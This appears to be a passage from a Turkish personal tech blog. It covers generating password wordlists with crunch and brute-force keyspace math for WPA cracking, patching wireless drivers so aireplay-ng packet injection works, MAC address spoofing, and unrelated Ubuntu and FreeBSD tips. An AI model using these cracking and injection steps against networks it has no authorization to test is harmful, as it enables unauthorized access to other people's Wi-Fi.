Görüldüğü gibi crunch istenilen wordlistin disk üzerinde kaplayacağı boyutu ve kaç satırdan oluşacağı gibi istatistikleri gösteriyor ve daha sonra ise ilgili dosyayı oluşturmaya başlıyor. Dosya boyutu ve oluşturulmas süresinin seçmiş olduğunuz karakter kümesi ve parola uzunluğuna bağlı olduğunu unutmamak gerekiyor. Çok geniş bir aralık tercih ederseniz wordlist oluşturmanız sonsuza kadar sürebilir...

Crunch ile gelen dosyalar arasında yer alan charset.lst dosyası içerisinde ön tanımlı karakter kümeleri yer alıyor. Dilerseniz bu karakter kümelerinden birini seçerek kullanabiliyorsunuz.

charset.lst dosyasından bazı karakter kümeleri;
numeric: [0123456789]
ualpha: [ABCDEFGHIJKLMNOPQRSTUVWXYZ]
lalpha: [abcdefghijklmnopqrstuvwxyz]
ualpha-numeric: [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
lalpha-numeric: [abcdefghijklmnopqrstuvwxyz0123456789]
mixalpha:[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]
mixalpha-numeric:[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mixalpha-numeric-all-space:[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ]
Parola oluştururken kullanmak istediğimiz karakter kümesinin büyük harfler [A-Z], küçük harfler [a-z] ve rakamlardan oluştuğunu [0-9] var sayalım. Bu karakter kümesin charset.lst dosyasında mixalpha-numeric olarak tanımlıdır. mixalpha-numeric kümesinden yalnızca 8 karakter uzunluğunda parolalar oluşturmak için crunch aşağıdaki gibi kullanılabilir.
harun@gondor:~/crunch3.0$ ./crunch 8 8 -f charset.lst mixalpha-numeric -o ornek2.txt
Crunch will now generate the following amount of data: 1965060950264064 bytes    1874028158 MB    1830105 GB
Crunch will now generate the following number of lines: 218340105584896 
Yukarıdaki çıktıya dikkat ederseniz crunch belirttiğimiz özelliklere sahip bir wordlistin 218.340.105.584.896 satırdan oluşacağını ve sabit diskimizde 1.830.105 GB yer tutacağını hesapladı. Bu aşamadan sonra yeterince disk alanınız ve zamanınız var ise crunch yazılımın işini bitirmesini bekleyebilirsiniz...

Biraz Matematik

Parola kırma, wordlist oluşturma gibi işlerle uğraşıyorsanız biraz matematik bilmek oldukça faydalı olacaktır. En azından gücünüzün neye yeteceğini bilip ona göre denemeler yapabilirsiniz. 

Olası tüm parolaların sayısı şu şekilde hesaplanır;
Olası Parola Sayısı = [Karakter Kümesindeki Elaman Sayısı] ^ [Parola Uzunluğu]

Öncelikle parolaların oluşturulacağı karakter kümesinin yalnızca rakamlardan oluştuğunu varsayalım.
Karakter Kümesi = {0,1,2,3,4,5,6,7,8,9}
Görüldüğü gibi karakter kümemiz 10 elamana sahip. Şimdi de parolamızın uzunluğunun 8 karakter olduğunu var sayalım.

Olası Parola Sayısı = 10 ^ 8;
Olası Parola Sayısı = 100.000.000;


Şimdi işin içine İngiliz alfabesindeki küçük harflerin giridğini düşünelim ve karakter kümemize 26 karakter daha eklemiş olalım.

Karakter Kümesi = {0123456789abcdefghijklmnopqrstuvwxyz}

Son durumda karakter kümemiz 10 rakam ve 26 harf olmak üzere toplamda 36 karakterden oluşuyor. 8 karakterli tüm parola olasılıklarını bir kez daha hesaplayalım. Sihirli formülümüz;

Olası Parola Sayısı = [Karakter Kümesindeki Elaman Sayısı] ^ [Parola Uzunluğu]
Olası Parola Sayısı = 36 ^ 8
Olası Parola Sayısı = 2.821.109.907.456


Fikir vermesi açısından şöyle bir örnek vereyim; wpa kırma işlemi sırasında bilgisayarımdaki Intel(R) Core(TM)2 Duo 2.20GHz CPU saniyede iyimser bir ortalamayla 1100 deneme yapıyor. Bu hız ile 2.821.109.907.456 ihtimali denersek 2.564.645.370 sn başka bir deyişle 712.401 saat, 29.683 gün, 81 yıl olarak hesaplayabiliriz. Bu değer saniyede 1100 deneme yapan diz üstü bilgisayarım ve ortalam ömrü 65 yıl olan biz faniler için oldukça uzun bir zaman olacaktır...

Saniyede 750.000 parola denediğimizi var sayarsak işlem 3.761.479 sn sürecektir. Bu ise 1044 saat yani yaklaşık 44 gün demektir. Muhtemelen bu yazıyı okuyan hiç kimsenin bu kadar güçlü bir bilgisayarı olduğunu veya yakın bir gelecekte olacağını pek sanmıyorum sanmıyorum...

Burdan çıkacak sonuç, eğer yeterince kaynağınız ( CPU gücü, Disk Alanı vs ) ve Zamanınız var ise her parolayı kırabilirisiniz demektir.

11 Haziran 2011 Cumartesi

Ubuntu, Aireplay-ng, iwl4965, mon0 Channel -1 Problemi

Yanlış hatırlamıyorsam Ubuntu 10.04 sürümü sonrasında Linux çekirdeği ve kablosuz ağ sürücülerinin değişmesinden dolayı Intel 4965 AGN wireless kartımla aircrack-ng  düzgün çalışmaz hale gelmişti.  Aireplay-ng ile paket sokuşturma saldırısı yapmak istediğinizde aşağıdaki gibi bir hata alıyordunuz.

21:09:28  mon0 is on channel -1, but the AP uses channel 1

Bu hatayı çözmek için yapılması gerekenler yeni sürücüleri gerekli yamalar ile derlemek ve kurmak.
İlk olarak yeni sürücümüzü indirilerim wireless.kernel.org adresinden indirelim ardından da gerekli yamaları indirip sürücü kaynak kodlarına yama yapalım.

    root@gondor:~# wget http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2011-06-01.tar.bz2
    root@gondor:~# wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
    root@gondor:~# wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
    root@gondor:~# tar jxvf compat-wireless-2011-06-01.tar.bz2
    root@gondor:~# cd compat-wireless-2011-06-01
    root@gondor:~/compat-wireless-2011-06-01# patch -p1 < ../mac80211.compat08082009.wl_frag+ack_v1.patch
    root@gondor:~/compat-wireless-2011-06-01# patch -p1 < ../channel-negative-one-maxim.patch
    root@gondor:~/compat-wireless-2011-06-01# make
    root@gondor:~/compat-wireless-2011-06-01# make install
    root@gondor:~/compat-wireless-2011-06-01# make unload
    root@gondor:~/compat-wireless-2011-06-01# reboot

Bilgisayarınız yeniden başladığında kablosuz ağ sürücünüz düzgün şekilde çalışıyor olmalı. Bu aşamadan sonra airreplay-ng ile yeni sürücümüzün düzgün çalışıp çalışmadığını sınayabiliriz.

    root@gondor:~# airmon-ng start wlan0
    root@gondor:~# aireplay-ng -1 0 -e Seker mon0

Yukarıdaki komut “21:48:23  mon0 is on channel -1, but the AP uses channel 1″ hatasını verirse kanal numarasını elle ayarlamak gerekecektir. Bunun için aşağıdaki gibi bir iwconfig komutu verilebilir.
root@gondor:~# iwconfig mon0 channel 1

    root@gondor:~# aireplay-ng -1 0 -e Seker mon0
    21:51:14 Sending Authentication Request (Open System) [ACK]
    21:51:14 Authentication successful
Airodum-ng ile kablosuz ağ trafiğini dinlemeye aldığınızda airodum-ng yazılımının tek bir kanalda takıldığını ve diğer kanalları izlemediğini görebilirsiniz. Bu durum dinleme yaptığınız kablosuz ağ bağdaştırıcısı bir kablosuz ağa bağlı bulunduğunda meydana geliyor. Kablosuz ağ bağlantılarınız keserek veya network-manager servisini service network-manager stop komutu ile durdurarak airodump-ng yazılımın düzgün şekilde kanalları taramasını sağlayabilirsiniz.

18 Nisan 2011 Pazartesi

BSD ve Linux Sistemlerde Mac Adresi Değiştirmek

Linux/Unix sistemlerde, bir ağ arabirimine ait MAC adresini değiştirmek için ifconfig komutu kullanılabilir.

FreeBSD ve PfSense gibi FreeBSD kökenli sistemlerde MAC adresini değiştirmek için aşağıdaki gibi bir komut yeterlidir.
[root@mordor]: ifconfig em0 link 00:11:22:33:44:55
Aynı şekilde GNU/Linux sistemlerde mac adresi değiştirmek için ise ifconfig komutu aşağıdaki gibi kullanılabilir.
root@gondor:~# ifconfig eth0 hw ether 00:11:22:33:44:55

17 Nisan 2011 Pazar

Ubuntu Denetim Düğmelerini Sağa Kaydırmak

Ubuntu hangi akla hizmetse yıllardır yerine alıştığımız pencere büyüme, simge durumuna küçültme ve kapatma düğmelerini sol kenara taşımış. Bunca ylın alışkanlığından olsa gerek sol üst kenarda denetim düğmeleri görmek sinirlerimi bozdu.

Sizde benim gibi bu durumdan rahatsız olanlardansanız aşağıdakigibi bir komutla denetim düğmelerinizi ait olduğu yere döndürebilirsiniz.

gconftool-2 –set "/apps/metacity/general/button_layout" –type string ":minimize,maximize,close"
Daha fazlası için:

http://www.ubuntugeek.com/quick-and-easy-title-bar-button-side-switching-in-ubuntu-10-04-lucid9-10-karmic.html

FreeBSD Disk Formatlama

FreeBSD diskini bölümlemek formatlamak için kullanılabilecek komutlar. md11 aygıtı yerine kullanmak istediğiniz diskin adını yazmanız gerekiyor… 
fdisk -IB /dev/md11
bsdlabel -wB /dev/md11s1
newfs /dev/md11s1a